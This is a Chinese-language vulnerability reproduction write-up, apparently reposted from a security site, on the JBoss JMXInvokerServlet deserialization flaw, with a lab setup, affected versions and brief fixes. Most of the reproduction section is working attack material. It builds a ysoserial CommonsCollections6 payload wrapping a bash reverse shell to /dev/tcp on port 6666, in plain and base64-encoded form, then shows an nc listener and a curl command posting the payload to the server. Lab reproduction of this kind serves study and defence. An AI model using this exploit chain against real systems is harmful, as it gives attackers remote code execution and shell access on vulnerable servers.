1、漏洞分析
https://paper.seebug.org/312/
2、漏洞原理
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
3、影响范围
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
4、环境搭建
https://github.com/vulhub/vulhub/tree/master/jboss/JMXInvokerServlet-deserialization
初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。
我们这里用vulhub靶场里面的环境。
1、启动成功,我们访问:http://192.168.61.129:8080/
2、该反序列化漏洞在下面这个URL中。
http://192.168.0.11:8080/jbossmq-httpil/HTTPServerILServlet
5、漏洞复现
1、我们本次使用到的工具:https://gitcode.net/mirrors/frohoff/ysoserial/
2、本步骤我们使用工具ysoserial来生成序列化数据,构造POC,使用bash反弹Shell,nc接收反弹回来的Shell。
3、我们使用的反弹payload如下。
bash -c bash -i >& /dev/tcp/192.168.61.128/6666 0>&1
这里我们需要将反弹命令进行Bash64编码,然后放到Payload里面中。
我们用作编码的网站:https://base64.us/
4、ysoserial的用法如下。
java -jar ysoserial.jar [payload] '[command]'
• [payload]:利用库,根据服务端程序版本不同而不同,如有报错,可尝试跟其他利用库
• [command]:待执行的命令
5、我们首先执行如下命令。
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
最终生成POC文件poc.ser。
6、我们nc本地监听端口6666。
重新打开一个终端,执行如下命令。
nc -lvp 6666
7、发送请求,获得shell。
服务器收到POST的方式发送的序列化数据,会进行反序列化,执行其中包含的命令,将Shell反弹至kali机器的6666端口,
我们使用curl命令来发送请求,打开命令行,执行如下代码。
curl http://192.168.61.129:8080/invoker/readonly --data-binary @poc.ser
8、成功反弹Shell。
6、修复建议
不需要http-invoker.sar 组件的用户可直接删除此组件。
添加如下代码至http-invoker.sar下web.xml的security-constraint标签中,对http invoker组件进行访问控制。
/*
6、欢迎大家关注公众号,有更多精彩的文章!!!
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)